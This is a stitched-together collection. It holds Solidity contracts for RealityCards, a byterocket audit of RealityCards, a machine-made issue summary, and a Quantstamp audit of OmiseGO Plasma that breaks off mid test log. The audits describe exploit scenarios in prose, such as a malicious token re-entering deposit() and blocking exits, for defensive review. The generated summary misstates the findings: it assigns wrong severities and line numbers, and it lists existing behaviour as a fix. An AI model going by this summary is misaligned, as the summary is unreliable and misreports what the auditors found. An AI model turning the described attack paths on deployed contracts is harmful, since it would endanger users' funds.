is modifed outside of the _transferTokenTo function price[_tokenId] = _newPrice; ownerTracker[_tokenId][currentOwnerIndex[_tokenId]].price = _newPrice; emit LogPriceChange(price[_tokenId], _tokenId); } /// @notice actually withdraw the deposit and call _revertToPreviousOwner if necessary function _withdrawDeposit(uint256 _daiToWithdraw, uint256 _tokenId) internal { assert(deposits[_tokenId][msg.sender] >= _daiToWithdraw); address _currentOwner = ownerOf(_tokenId); // must rent for minimum of 1 hour for current owner if(_currentOwner == msg.sender) { uint256 _oneHour = 3600; uint256 _secondsOwned = now.sub(timeAcquired[_tokenId]); if (_secondsOwned < _oneHour) { uint256 _oneHoursDeposit = price[_tokenId].div(24); uint256 _secondsStillToPay = _oneHour.sub(_secondsOwned); uint256 _minDepositToLeave = _oneHoursDeposit.mul(_secondsStillToPay).div(_oneHour); uint256 _maxDaiToWithdraw = deposits[_tokenId][msg.sender].sub(_minDepositToLeave); if (_maxDaiToWithdraw < _daiToWithdraw) { _daiToWithdraw = _maxDaiToWithdraw; } } } deposits[_tokenId][msg.sender] = deposits[_tokenId][msg.sender].sub(_daiToWithdraw); if(_currentOwner == msg.sender && deposits[_tokenId][msg.sender] == 0) { _revertToPreviousOwner(_tokenId); } _sendCash(msg.sender, _daiToWithdraw); } /// @notice if a users deposit runs out, either return to previous owner or foreclose function _revertToPreviousOwner(uint256 _tokenId) internal { uint256 _index; address _previousOwner; // loop max ten times before just assigning it to that owner, to prevent block limit for (uint i=0; i < MAX_ITERATIONS; i++) { currentOwnerIndex[_tokenId] = currentOwnerIndex[_tokenId].sub(1); // currentOwnerIndex will now point to previous owner _index = currentOwnerIndex[_tokenId]; // just for readability _previousOwner = ownerTracker[_tokenId][_index].owner; // if no previous owners. price -> zero, foreclose if (_index == 0) { _foreclose(_tokenId); break; } else if (deposits[_tokenId][_previousOwner] > 0) { break; } } // if the above loop did not end in foreclose, then transfer to previous owner if (ownerOf(_tokenId) != address(this)) { address _currentOwner = ownerOf(_tokenId); uint256 _oldPrice = ownerTracker[_tokenId][_index].price; _transferTokenTo(_currentOwner, _previousOwner, _oldPrice, _tokenId); emit LogReturnToPreviousOwner(_tokenId, _previousOwner); } } /// @notice return token to the contract and return price to zero function _foreclose(uint256 _tokenId) internal { address _currentOwner = ownerOf(_tokenId); // third field is price, ie price goes to zero _transferTokenTo(_currentOwner, address(this), 0, _tokenId); emit LogForeclosure(_currentOwner, _tokenId); } /// @notice transfer ERC 721 between users /// @dev there is no event emitted as this is handled in ERC721.sol function _transferTokenTo(address _currentOwner, address _newOwner, uint256 _newPrice, uint256 _tokenId) internal { require(_currentOwner != address(0) && _newOwner != address(0) , "Cannot send to/from zero address"); price[_tokenId] = _newPrice; _transferFrom(_currentOwner, _newOwner, _tokenId); } //////////////////////////////////// ///////// OTHER FUNCTIONS ////////// //////////////////////////////////// /// @dev should only be called thrice function _incrementState() internal { assert(uint256(state) < 4); state = States(uint(state) + 1); } /// @dev change state to WITHDRAW to lock contract and return all funds /// @dev in case Oracle never resolves, or a bug is found function circuitBreaker() external { require(msg.sender == owner() || now > (marketExpectedResolutionTime + 4 weeks), "Not owner or too early"); questionResolvedInvalid = true; state = States.WITHDRAW; } /// @dev only the contract can transfer the NFTs function transferFrom(address from, address to, uint256 tokenId) public { require(false, "Only the contract can make transfers"); from; to; tokenId; } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(false, "Only the contract can make transfers"); from; to; tokenId; _data; } } pragma solidity 0.5.13; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity ^0.5.0; interface IMarket { function getWinningPayoutNumerator(uint256 _outcome) external view returns (uint256); } contract OracleExampleAugur1 { // replace with the market's address IMarket public market = IMarket(0x34A971cA2fd6DA2Ce2969D716dF922F17aAA1dB0); function getWinnerFromAugurBinaryMarket() public view { if (market.getWinningPayoutNumerator(0) > 0) { // insert logic for Invalid outcome } else if (market.getWinningPayoutNumerator(1) > 0) { // insert logic for Yes outcome } else if (market.getWinningPayoutNumerator(2) > 0) { // insert logic for No outcome } else { // insert logic for market not yet settled } } } interface OICash { function deposit(uint256 _amount) external returns (bool); function withdraw(uint256 _amount) external returns (bool); } contract OracleExampleAugur2 { // replace with the current contract address OICash public oicash = OICash(0xbD41281dE5E4cA62602ed7c134f46d831A340B78); function augurDeposit(uint256 _amount) public { require(oicash.deposit(_amount), "Augur deposit failed"); } function augurWithdraw(uint256 _amount) public { require(oicash.withdraw(_amount), "Augur withdraw failed"); } } interface IRealitio { function askQuestion( uint256 template_id, string calldata question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce) external payable returns (bytes32); function resultFor(bytes32 question_id) external view returns (bytes32); function isFinalized(bytes32 question_id) external view returns (bool); } contract OracleExampleRealitio1 { // this is the current mainnet address IRealitio public realitio = IRealitio(0x325a2e0F3CCA2ddbaeBB4DfC38Df8D19ca165b47); // example market data: uint256 public template_id = 2; string public question = 'Who will win the 2020 US General Election␟"Donald Trump","Joe Biden"␟news-politics␟en_US'; address public arbitrator = 0xd47f72a2d1d0E91b0Ec5e5f5d02B2dc26d00A14D; // kleros.io mainnet address uint32 public timeout = 86400; // one day uint32 public opening_ts = 1604448000; // Nov 4th 2020 uint256 public nonce = 0; function _postQuestion() public returns (bytes32) { return realitio.askQuestion( template_id, question, arbitrator, timeout, opening_ts, nonce ); } } contract OracleExampleRealitio2 { // this is the current mainnet address IRealitio public realitio = IRealitio(0x325a2e0F3CCA2ddbaeBB4DfC38Df8D19ca165b47); function getWinnerFromRealitioBinaryMarket(bytes32 _questionId) public view { if (realitio.isFinalized(_questionId)) { bytes32 _winningOutcome = realitio.resultFor(_questionId); uint _winningOutcomeUint = uint(_winningOutcome); if (_winningOutcomeUint == 0) { // insert logic for the first listed outcome } else if (_winningOutcomeUint == 1) { // insert logic for the second listed outcome } else if (_winningOutcomeUint == ((2**256)-1)) { // insert logic for Invalid outcome } } } }
RealityCards v1 May 19, 2020 1. Preface The team of RealityCards contracted us to conduct a software audit of their developed smart contracts written in Solidity. RealityCards is a project combining the idea of prediction markets, non-fungible tokens and harberger taxes, where at the end of the season/event all holders of the winning token will receive a split of the total rental payments in proportion to how long they have held the token through staking a stable coin called DAI on the Ethereum blockchain . The following services to be provided were defined: Manual code review Protocol/Logic review and analysis (including a search for vulnerabilities) Written summary of all of the findings and suggestions on how to remedy them (including a Zoom call to discuss the findings and suggestions) Final review of the code once the findings have been resolved We gained access to the code via the public GitHub repository via https://github.com/RealityCards/RealityCards- Contracts/blob/master/contracts/RealityCards.sol . The state of the code that has been reviewed was last changed on the 17th of May 2020 at 12:11 AM CEST (commit hash aad8ea70696d848e2fcb55b7932c7ba37b8f239e ). 2. Manual Code Review We conducted a manual code review, where we focussed on the main smart contract as instructed by the RealityCards team: ” RealityCards.sol ”. For a description of the functionalities of these contracts refer to section 3. The code of these contracts has been written according to the latest standards used within the Ethereum community and best practice of the Solidity community. The naming of variables is logical and comprehensible, which results in the contract being easy to understand. As the RealityCards project is a decentralized and open-source project, these are important factors. The comments in the code help to understand the idea behind the functions and are generally well done. The comments are also used to explain certain aspects of the architecture and implementation choices. On the code level, we did not find any bugs or flaws. An additional double check with two automated reviewing tools (one of them being MythX ) also did not find any bugs. 2.1. Other Findings While we did not find any bugs or flaws, we want to note the following: Possibly unnecessary variable “nftMintCount” The variable “nftMintCount” introduced in line 26 is most probably not necessary, since ERC721 does provide a totalSupply function that can be used in exchange. Possibly unnecessary function “userRemainingDeposit()” This function can probably be combined with “ currentOwnerRemainingDeposit() ” to always return the remaining deposit, no matter whether an owner or past owner/user calls it. Possibly unnecessary check for zero In lines 209 - 211 there is a zero check that is probably not necessary since pps can never be zero if everything is implemented correctly. The minimum price of 0.01 DAI (1016 attoDai) defined in line 354 means that the pps couldn’t be lower than 115.740.740.740 pps (= 1016 / (24x60x60)). 3. Protocol/Logic Review The description and specification of the protocol was provided to us via a GitHub link . We conclude that the present implementation complies with the specification and depicts it. 3.1. Functionality Descriptions A comprehensive description of all the functions and their respective functionalities is given in this Google Doc . We validated the code and logic against this specification. 3.2. Protocol Logic While the functionality description covers most of the logic, there are a few things that we want to highlight in order to understand the protocol in total. Tokens, Users and the System The variables and connections within the protocol are structured in basically three layers: tokens, users and the system itself. Each of them have certain properties that are attached to it. Starting from the top, we have a representation of a token, which is implemented according to the ERC721 standard (overwriting the standard transfer functions such that only the contract may send/control them according to the protocol). Below are the variables that are attached to each of the tokens, with the ones in blue only being relevant for the front-end and are not being used within the protocol logic. One level deeper we have each of the users, where we only store the total amount of rent that they paid as well as an indicator whether the user already withdrew their winnings or not. At the lowest level we have the system itself: the contract. Some of these variables are generally necessary to ensure the safety of the system (like the minted tokens variable or the limiter for iterations. The rest are general values, which are used for all other things. States of the System ​ ​ The protocol itself is divided into four states that define which functions can be called. The transition between states is done via a function that increments the state variable which can be controlled by any user that wishes to do so except for the first transition, where only the contract owner is allowed to do so. This is not a problem since no user is able to interact with the contract or deposit anything into it before the second state OPEN is enacted. A function called “circuitBreaker()” allows the owner to transition the protocol into the WITHDRAW state immediately, more on this in the next section. Calculation of the Time Held ​ A specialty of this protocol is the way that the winnings are split and distributed after the event has ended. In RealityCards, the only factor that is relevant here is the time that a user held the winning token. If two users for example both held a token for 50% of the time but paid different prices/rent, they will still both receive the same payout. This is an intended behaviour. An example calculation: Payout ​ User X receives 36 DAI (54 total DAI / 6 days total x 4 days held), while users Y and Z both receive 9 DAI (since both held the token for 1 day each). User Y paid 24 DAI in rent while user Z paid 10 DAI. 3.3. Vulnerabilities and Flaws A) Possible abuse by owner address While the whole protocol is built in a trustless way, there is one function that potentially allows the owner to act maliciously: “circuitBreaker()”. A function that allows the owner to immediately transfer the protocol into the “withdraw state”, skipping the other states and the consideration of the prediction markets outcome. The following scenario would be possible: Owner X deploys the contract and initializes the NFT tokens T1 and T2 correctly X buys token T1, while user A buys token T2 As soon as it looks like token T2 wins, X calls “ circuitBreaker() ” X and A receive their rent and deposit back. While nobody wins, X just prevented himself from losing something and A from winning something. Even if a mechanism would be in place that doesn’t allow the owner's address to participate in the token mechanics, there is no identity system that would prevent them from creating another account. We acknowledge that the team of RealityCards most likely has no bad intentions. There is no risk for any user funds, since the worst outcome would be a missed profit. But since Ethereum’s community values the ability to govern things in a decentralized fashion instead of being governed by a centralized administrator, we would suggest to change this in the future if possible. Possible mitigation One way to mitigate this would be the implementation of a voting scheme. If the users are willing to enter the WITHDRAW state, they should be allowed to do so, instead of relying on a benevolent owner. Maybe a simple voting scheme that allows any user that has a “ collectedPerUser ” of greater than 0 would be a solution. We acknowledge that this may involve other risk factors, since basically all holders of the non-winning tokens are then incentivized to vote in favor of this in order not to lose any money. We merely want to state that the current solution might not be the perfect one. B) Array to store past owners While an array is probably the easiest solution to implement a list of past owners, it introduces problems as well. In this case, the ownership of a token reverts to the last owner if the current one runs out of deposited money. If this owner also does not have any money deposited anymore it will be transferred to the owner before that and so forth. This can potentially lead to a long array that can not be processed within one transaction call, which is known to the developer(s). The current solution is a variable that caps the iterations at 10 per call, where a temporary owner is selected if no eligible owner was found after 10 iterations. This solution is especially susceptible in the early stages of the project, since it might happen that the protocol does not get called often enough to transfer ownership to the right owner within a reasonable time. Possible mitigation The use of a doubly linked list instead of an array would probably solve this problem, since every user who withdraws their full deposit would be able to (efficiently) remove themselves from the list, such that the “ _revertToPreviousOwner() ” function could always rely on the previous node within the doubly linked list to be a valid one. Since the current implementation does not pose any immediate risks for the users or their users, we classify this flaw as low risk. C) Intermediate time is not considered Consider the following example: User A is the current owner of a token (with a sufficient deposit). User B buys this token (at a higher price, with a deposit that will last them a day). After one day, the token will revert to user A, since user B ran out of money to pay the rent. However, this will only happen if someone calls a function that triggers the rent collection mechanism. If that is not the case, user B might be owning the token for longer. While there is a mechanism that only counts the actual time that user B was able to pay with his deposit, user A does not receive credit for the intermediate time. If, in our example, user C calls a contract function that triggers the rent collection for the token after two days, user B will only receive one day as “time held”, while user A will not be credited with the remaining day that they would have held the token. Since they are not paying any rent during that time there is no immediate harm done but this could probably be improved. Possible mitigation We know that the implementation of a mechanism that also counts the time that user A would have gotten if they would have possessed the token (in case someone triggered it) introduced more complexity and probably also increases the gas cost of the rent collection. We merely want to note it, since we don’t think that this is an ideal implementation. Possible solutions that solve the issue without any further calculations would be the introduction of a little reward for anyone calling the “ collectRentAllTokens() ” function (maybe once every X hours), comparable to a “mining” fee.In practice, it is likely that the owners/developers of RealityCards would probably call this function regularly in order to prevent this from happening until enough users are using their product, where this issue might not be relevant anymore, since each token is interacted with frequently. D) External risk through prediction market As the review of the external prediction market was not within the scope of our review, we can’t assess the risk that it might pose to the protocol. We are aware that the used provider for the prediction market uses a reasonable approach based on the principles of community-vetting. If the prediction market provided wrong information, the RealityCards protocol wouldn’t work as it relies on and trusts its outcome. Malicious actors of the prediction market could potentially corrupt the RealityCards protocol by abusing it. As long as the prediction market can be trusted, we don’t see any issues here. Maybe an emergency-vote like solution can mitigate some of these risks in the future. 4. Summary Overall the smart contract is very well written and cleverly thought out. During the manual code review we did not find any bugs or flaws. Also our automated tools did not find anything. The comments of the developers are very helpful and well- done. Our protocol and logic analysis did show four possible flaws. None of them are posing a threat to the users funds, but they also should not be ignored. In particular, a solution to 3.3B (“Array to store past owners”) would significantly increase the elegance of the protocol. 5. Update on the 26th of May 2020 Since we sent our report to the RealityCards team, the findings have been discussed in a bi-lateral meeting. The following of our found flaws have been addressed: A) Possible abuse by owner address The ability of the owner to call the circuitBreaker function was removed in Github commit 041d98bf4f390d122cb4be2c62ab8a65b3c46bc4 . Before require(msg.sender == owner() || now > (marketExpectedResolutionTime + 4 weeks), "Not owner or too early"); After require(now > (marketExpectedResolutionTime + 4 weeks), "Too early"); We don’t think that this change has introduced any new risks or flaws. B) Array to store past owners Our suggestion has been acknowledged, however, both sides think that the complexity of this possible change is not necessary as the current approach works as intended. Also it is not sure whether a doubly linked list solves the problem. ​ C) Intermediate time is not considered This suggestion has been acknowledged and might be addressed in a later upgrade. D) External risk through prediction market The developer is aware that this is a general risk. The risk is considered to be very low. 2.1 Other Findings - Possibly unnecessary check for zero The unnecessary check has been removed in GitHub commit 8a1223980eb75cad4a0d5ed784545776b1586037 Before if (pps == 0) { return now; } else { return now + currentOwnerRemainingDeposit(_tokenId).div(pps); } After return now + currentOwnerRemainingDeposit(_tokenId).div(pps);We don’t think that this change has introduced any new risks or flaws. 2.1 Other Findings - Possibly unnecessary function “userRemainingDeposit()” The developer explained that this function is necessary for front-end use, so that it needs to exist. New Finding: Zero winners edge case Since our audit another bug was found that occurs during an edge case where the winning token was never bought by an user. The rent that has been accrued through other tokens would have been locked in the contract. It was fixed in GitHub commit 79a53c772780f7b881d06eeb38ff52ff98341c3d . Before if (winningOutcome != ((2**256)-1)) { After if (winningOutcome != ((2**256)-1) && totalTimeHeld[winningOutcome] > 0) { Since “totalTimeHeld” is the most reliable approach to define whether a token has been bought or not we think that this solution is appropriate. We don’t think that this change has introduced any new risks or flaws. New Change: Can now transfer token in withdraw state The developer wanted to allow users to transfer their token after the market has been resolved, since the last owner otherwise would have to keep the token in their wallet forever. Since some users might not like this, he changed it in GitHub commits 62277a097a2d35be6e28d0e78b346d7bf9ddd078 and e264de4a5ba146c1331a4f54d764d8cd15c007d4 . Before function transferFrom(address from, address to, uint256 tokenId) public { require(false, "Only the contract can make transfers"); from; to; tokenId; } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(false, "Only the contract can make transfers"); from; to; tokenId; } After function transferFrom(address from, address to, uint256 tokenId) public checkState(States.WITHDRAW) onlyTokenOwner(tokenId) { _transferFrom(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public checkState(States.WITHDRAW) onlyTokenOwner(tokenId) { _transferFrom(from, to, tokenId); _data; } The two functions are not used within the contract, as the contract is using the internal “_transferFrom()” function to transfer tokens during the other states. The contract is only in the “withdraw” state after “determineWinner()” has been called. All external/public functions are correctly checking whether the correct state is set, so that we can’t see any way to abuse this. We don’t think that this change has introduced any new risks or flaws. LEGAL Imprint Terms & Conditions Privacy Policy Contact © 2022 byterocket GmbH Download the Report Stored on IPFS We store our public audit reports on IPFS; a peer-to-peer network called the " I nter P lanetary F ile S ystem". This allows us to store our reports in a distributed network instead of just a single server, so even if our website is down, every report is still available. Learn more about IPFS Signed On-Chain The IPFS Hash, a unique identifier of the report, is signed on-chain by both the client and us to prove that both sides have approved this audit report. This signing mechanism allows users to verify that neither side has faked or tampered with the audit. Check the Signatures
Issues Count of Minor/Moderate/Major/Critical: Minor/Moderate Minor Issues: 2.1.a Problem: Possibly unnecessary variable “nftMintCount” (line 26) 2.1.b Fix: Use ERC721 totalSupply function in exchange Moderate Issues: 2.1.a Problem: Possibly unnecessary function “userRemainingDeposit()” (line 209-211) 2.1.b Fix: Combine with “currentOwnerRemainingDeposit()” to always return the remaining deposit Major Issues: None Critical Issues: None Observations: - Code written according to latest standards used within Ethereum community and best practice of Solidity community - Naming of variables is logical and comprehensible - Comments in code help to understand the idea behind the functions Conclusion: No bugs or flaws were found in the code. However, there are some minor and moderate issues that can be improved. Issues Count of Minor/Moderate/Major/Critical: No Issues Found Observations: - The description and specification of the protocol was provided to us via a GitHub link and it was found to comply with the specification. - A comprehensive description of all the functions and their respective functionalities is given in a Google Doc. - The variables and connections within the protocol are structured in basically three layers: tokens, users and the system itself. - The protocol itself is divided into four states that define which functions can be called. - The only factor that is relevant for winnings is the time that a user held the winning token. Conclusion: The protocol was found to comply with the specification and all the functions and their respective functionalities were found to be as described. The variables and connections within the protocol were structured in three layers and the protocol was divided into four states. The only factor that is relevant for winnings is the time that a user held the winning token. Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues 2.a Problem: Possible abuse by owner address 2.b Fix: Implement a voting scheme Moderate 3.a Problem: Array to store past owners 3.b Fix: Cap iterations at 10 per call and select a temporary owner if no eligible owner is found after 10 iterations.
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }
October 25, 2018 — Quantstamp Verified This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts.Omisego Plasma MVP Protocol Proof of Concept Type Goals Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification Tesuji Plasma Blockchain Design Repository Commit Commit plasma-contracts dbbdaef 3cc6097 13 (2 fixed) Total Issues 2 High Risk Issues 0 Medium Risk Issues 1 Low Risk Issues 10 Informational Risk Issues 0 Undetermined Risk Issues13 issuesSource CodeMethodsKacper Bąk, Senior Research Engineer John Bender, Senior Research Engineer Martin Derka, Senior Research Engineer Yohei Oka, Forward Deployed Engineer Jan Gorzny, Blockchain ResearcherThis report focused on evaluating security of smart contracts, as requested by the omisego-plasma-mvp team. Specific questions to answer: • can users' funds get locked up in the Plasma child chain? • can users successfully exit their funds should the need arise? • can the operator steal users' funds? • are funds protected against reorgs? Overall Assessment The contracts provide a prototype implementation of Plasma. Quantstamp has found some important issues with the code, notably: violation of child block intervals that are meant to protect against reorgs (fixed in commit 3cc6097), and a possibility of carrying out a denial of service attack on exits. Furthermore, we also give a set of recommendations to ensure that the code conforms to the best practices.Changelog This report focused on evaluating security of smart contracts, as requested by the omisego-plasma-mvp team. Specific questions to answer: • Date: 2018-10-11 - Initial report • Date: 2018-10-16 - Added recommendations and updated test section• Date: 2018-10-22 - Investigated the relevant part of the diff between commits dbbdaef and 3cc6097Auditors Solidity, Python Languages2018-09-24 through 2018-10-11 TimelineExecutive Summary Severity Categories Informational The issue does not pose an immediate threat to continued operation or usage, but is relevant for security best practices, software engineering best practices, or defensive redundancy. Undetermined The impact of the issue is uncertain.The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low-impact in view of the client’s business circumstances.LowThe issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact.MediumThe issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users.High Quantstamp's objective was to evaluate the omisego-plasma-mvp repository for security-related issues, code quality, and adherence to specification and best- practices. Possible issues we looked for include (but are not limited to): • Transaction-ordering dependence • Timestamp dependence • Mishandled exceptions and call stack limits • Unsafe external calls • Integer overflow / underflow • Number rounding errors• Reentrancy and cross-function vulnerabilities • Denial of service / logical oversights • Access control • Centralization of power • Business logic contradicting the specification • Code clones, functionality duplication • Gas usage • Arbitrary token minting Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following: i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructionsprovided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and howmuch code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best-practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security,and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts.Toolset The below notes outline the setup and steps performed in the process of this audit. SetupTesting setup: •Oyente v1.2.5 •Mythril v0.2.7 •truffle-flattener v0.18.9 •MAIAN commit: ab387e1 •SecurifyQuantstamp Audit Breakdown Assessment Deposit Block Can Be Written Past CHILD_BLOCK_INTERVAL Status: Fixed Contract(s) affected: RootChain.sol Severity: HighDescription: The contract RootChain.sol uses the constant CHILD_BLOCK_INTERVAL to distinguish between child chain and deposit blocks. It protects against reorgs, i.e., block and transaction order changing on the root chain. Reorgs can lead to spurious invalidity of the child chain. The check in line 161, however, can be bypassed and, consequently, the invariant that deposit blocks should never appear in child block indices and vice-versa can be violated. We note that the issue may be exploited by a malicious token contract which can be added by any user. Exploit Scenario: 1. Add malicious token contract to RootChain.sol via the function addToken() . 2.depositFrom() calls transferFrom() (line 164). 3.transferFrom() of a malicious token calls deposit() multiple times till currentDepositBlock == CHILD_BLOCK_INTERVAL - 1 . 4.transferFrom() returns true allowing writeDepositBlock() to increment currentDepositBlock beyond CHILD_BLOCK_INTERVAL . 5. This allows a malicious token to enable transfers without a real deposit as the deposit block will be overwritten by the next submitted plasma block. Recommendation: Add require check of currentDepositBlock < CHILD_BLOCK_INTERVAL to writeDepositBlock() .Anybody May Initiate Deposit on Behalf of the Owner Status: Fixed Contract(s) affected: RootChain.sol Severity: Low Description: The function depositFrom() takes owner as parameter instead of relying on msg.sender . Consequently, once an allowance is approved, anybody may initiate a deposit on behalf of the owner at any time, even against the actual owner's will. Recommendation: Remove the parameter owner from depositFrom() and rely on msg.sender instead.Malicious Token transfer() Function May Block All the Subsequent Exits for the Given Token Contract(s) affected: RootChain.sol Severity: High Description: Correct handling of exits is crucial for the overall security of Plasma chains. A malicious token contract may block all the subsequent exits for the given token by performing a DOS attack from within the function finalizeExits() . Exploit Scenario: 1. Add malicious token contract to RootChain.sol via the function addToken() . 2.finalizeExits() calls transfer() (line 297). 3.transfer() intentionally returns false . 4.finalizeExits() gets reverted undoing queue.delMin() (line 289). Recommendation: Let only the Plasma operator add token contracts which are known to be non-malicious. Violation of checks-effects-interactions Pattern Contract(s) affected: RootChain.sol Severity: InformationalDescription: In the function finalizeExits() , the loop body (lines 287-307) allows the token transfer() call (line 297) to violate checks-effects-interactions pattern, which states that interactions with other contracts should happen at the very end of the function. Consequently transfer() may re-enter finalizeExits() . Recommendation: Consider storing external transfers and start processing them after the loop. Alternatively, use a modifier that prevents re-entrancy into finalizeExits() . Clone-and-Own Contract(s) affected: ERC20.sol, ERC20Basic.sol, Math.sol, SafeMath.sol, StandardToken.sol, Ownable.sol, ECRecovery.sol, MintableToken.sol, PriorityQueue.sol, RootChain.sol, RLP.sol Severity: Informational Description: The codebase relies on the clone-and-own approach for code reuse. The clone-and-own approach involves copying and adjusting open source code at one's own discretion. From the development perspective, it is initially beneficial as it reduces the amount of effort. However, from the security perspective, it involves some risks as the code may not follow the best practices, may contain a security vulnerability, or may include intentionally or unintentionally modified upstream libraries. For example, although unused, the function copy() in RLP.sol has an incorrect implementation in line 203, where mload(dest) should be replaced by mload(src) . Recommendation: Rather than the clone-and-own approach, a good industry practice is to use the npm and Truffle framework for managing library dependencies. This eliminates the clone-and-own risks yet allows for following best practices, such as, using libraries. Furthermore, we recommend: • using OpenZeppelin implementations of the following contracts: ERC20.sol , ERC20Basic.sol , Math.sol , SafeMath.sol (the current OpenZeppelin implementation uses require instead of assert statements), StandardToken.sol (approve(), increaseApproval(), decreaseApproval() should have a check for spender != address(0)), Ownable.sol, ECRecovery.sol, and MintableToken.sol . • use Ownable for PriorityQueue.sol and RootChain.solMultiple Invocations of startFeeExit() Could Potentially Block Other Exists Contract(s) affected: RootChain.sol Severity: InformationalDescription: If currentFeeExit becomes large enough and there are 2^128 invocations of startFeeExit() , the fee exits UTXO position may clash with other exits (regular exists and deposit exists) since there is no validation that _utxoPos , should be less than 2^128. Otherwise, the bitwise OR in addExitToQueue() will affect the exitable_at value. Consequently, one can block the other exits. We consider this attack mostly theoretical since the number of required startFeeExit() invocations is impractically large. Legacy Function Modifiers Contract(s) affected: ERC20.sol, ERC20Basic.sol, StandardToken.sol, BasicToken.sol, Validate.sol Severity: InformationalDescription: Multiple functions are marked as constant. Furthermore checkSigs() in Validate.sol is marked as internal . Recommendation: Mark the constant functions as view s. Mark checkSigs() as pure . Unnamed Constants Contract(s) affected: PlasmaRLP.sol, RootChain.sol Severity: InformationalDescription: Magic numbers, e.g., 1000000000 and 10000, are used across contracts. Recommendation: Define named constants to improve code documentation and decrease the probability of making typo errors. Operator Can Exit Any Amount They Want Contract(s) affected: RootChain.sol Severity: InformationalDescription: Fees in the contract are implicit. The function startFeeExit() allows the operator to exit any amount they want, since the amount is specified as a parameter. The fees will be withdrawn from the same pool that holds users' funds. According to the specification, watchers must keep observing the contract to detect possible fraud and exit users’ funds. Unlocked Pragma Contract(s) affected: RootChain.sol, PlasmaRLP.sol Severity: InformationalDescription: Every Solidity file specifies in the header a version number of the format pragma solidity (^)0.4.* . The caret ( ^) before the version number implies an unlocked pragma, meaning that the compiler will use the specified version and above, hence the term "unlocked." Recommendation: For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Supplement the code with Truffle project Severity: Informational Description: Truffle is a prominent tool used for organizing Solidity code projects. It helps to manage dependencies, run tests, and process the code with other tools. Recommendation: We recommend supplementing the code with Truffle project. For new tests, it would help to measure the code coverage (via solidity- coverage tool), as well as get more inputs for the gas cost analysis. Use require instead of assert for argument validation Contract(s) affected: Validate.sol Severity: Informational Description: The function checkSigs() uses assert to report post-validate oindex . Recommendation: We recommend replacing the use of assert with require at the beginning of the function, and then explicitly return false in line 27.Gas Usage / for Loop Concerns Contract(s) affected: RootChain.sol, PriorityQueue.sol Severity: Informational Description: Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. Below, we answer few questions related to gas usage. We use the PriorityQueue.sol contract operations as a proxy for the entire RootChain.sol contract for calculating bounds on the number of operations due to gas consumption.Q: How large can the queue be before insert() or delMin() exceed the block gas limit? A: Assuming: • the block gas limit is 8,000,000, and• the upper bound cost of executing insert() or delMin() for a queue of size N is 21,000 + 26,538 + 6,638 * floor(log(2, N)), the queue would have to be longer than 2^1199, which, in a real-world setting, seems like an unrealistically large number. Q: What is the maximum size of the queue in 2 weeks? A: Assuming: • the block gas limit is 8,000,000,• the upper bound cost of executing insert() for a queue of size N is 21,000 + 26,538 + 6,638 * floor(log(2, N)), and • within 2 weeks Ethereum would produce 80,640 blocks containing only insertion operations, the queue would contain at least 3,599,959 deposits. The number of deposits could be higher if insert() uses less gas than the assumed upper bound. Q: How long does it take to exit the 2 week volume? A: Assuming: • the block gas limit is 8,000,000, • the queue contains 3,599,959 elements, • the upper bound cost of executing delMin() for a queue of size N is 21,000 + • 26,538 + 6,638 * floor(log(2, N)), and • Ethereum blocks contain no other operations besides delMin(), it would take 79,868 blocks (each containing between 43 and 90 exits), i.e., almost 2 weeks. Recommendation: As exits of users' funds are critical in Plasma, we would like to recommend extending the watcher with functionality that assesses and informs users about: • how long it would take to exit funds, and • for a given user's funds, how many exits need to be processed before they can exit. Omisego Plasma MVP Contract Security CertificateTest Results Automated Analyses Test Suite Results $ make test python -m pytest=============== test session starts ===============platform darwin -- Python 3.6.4, pytest-3.4.2, py-1.5.2, pluggy-0.6.0rootdir: /Users/mderka/Repos/omg/plasma-contracts, inifile:plugins: cov-2.5.1collected 79 items tests/contracts/priority_queue/test_priority_queue.py ........... [ 13%]tests/contracts/rlp/test_plasma_core.py .......[ 22%]tests/contracts/rlp/test_rlp.py ..[ 25%]tests/contracts/root_chain/test_challenge_standard_exit.py .......[ 34%]tests/contracts/root_chain/test_deposit.py ....... [ 43%]tests/contracts/root_chain/test_exit_from_deposit.py .....[ 49%]tests/contracts/root_chain/test_fee_exit.py ..[ 51%]tests/contracts/root_chain/test_long_run.py s[ 53%]tests/contracts/root_chain/test_process_exits.py 